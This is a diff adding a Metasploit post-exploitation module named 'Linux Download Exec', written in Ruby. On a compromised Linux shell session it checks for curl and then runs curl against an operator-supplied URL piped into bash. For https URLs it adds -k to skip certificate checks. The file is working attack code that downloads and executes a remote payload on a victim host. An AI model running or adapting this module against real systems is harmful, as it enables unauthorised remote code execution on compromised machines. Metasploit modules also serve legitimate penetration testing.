|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rex' |
| 10 | +require 'msf/core/post/common' |
| 11 | +require 'msf/core/post/file' |
| 12 | +require 'msf/core/post/linux/system' |
| 13 | +require 'msf/core/post/linux/priv' |
| 14 | + |
| 15 | +class Metasploit3 < Msf::Post |
| 16 | + |
| 17 | + include Msf::Post::Common |
| 18 | + include Msf::Post::File |
| 19 | + include Msf::Post::Linux::System |
| 20 | + |
| 21 | + |
| 22 | + def initialize(info={}) |
| 23 | + super( update_info( info, |
| 24 | + 'Name' => 'Linux Download Exec', |
| 25 | + 'Description' => %q{ |
| 26 | + This module downloads and runs a file with bash. It uses curl and bash from the PATH. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Joshua D. Abraham <jabra[at]praetorian.com>', |
| 32 | + ], |
| 33 | + 'Platform' => [ 'linux' ], |
| 34 | + 'SessionTypes' => [ 'shell' ] |
| 35 | + )) |
| 36 | + |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + OptString.new('URL', [true, 'Full URL of file to download.']) |
| 40 | + ], self.class) |
| 41 | + |
| 42 | + end |
| 43 | + |
| 44 | + def exists_exe?(exe) |
| 45 | + path = expand_path("$PATH") |
| 46 | + if path.nil? or path.empty? |
| 47 | + return false |
| 48 | + end |
| 49 | + |
| 50 | + path.split(":").each{ |p| |
| 51 | + return true if file_exist?(p + "/" + exe) |
| 52 | + } |
| 53 | + |
| 54 | + return false |
| 55 | + end |
| 56 | + |
| 57 | + def run |
| 58 | + print_status("Checking if curl exists in the path...") |
| 59 | + if exists_exe?("curl") |
| 60 | + print_good("curl available, going ahead...") |
| 61 | + else |
| 62 | + print_warning("curl not available on the $PATH, aborting...") |
| 63 | + return |
| 64 | + end |
| 65 | + |
| 66 | + if datastore['URL'].match(/https/) |
| 67 | + cmd_exec_vprint("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ") |
| 68 | + else |
| 69 | + cmd_exec_vprint("`which curl` #{datastore['URL']} 2>/dev/null | `which bash` ") |
| 70 | + end |
| 71 | + end |
| 72 | + |
| 73 | + def cmd_exec_vprint(cmd) |
| 74 | + vprint_status("Executing: #{cmd}") |
| 75 | + output = cmd_exec(cmd) |
| 76 | + if output.length > 0 |
| 77 | + vprint_status("#{output}") |
| 78 | + end |
| 79 | + return |
| 80 | + end |
| 81 | +end |
0 commit comments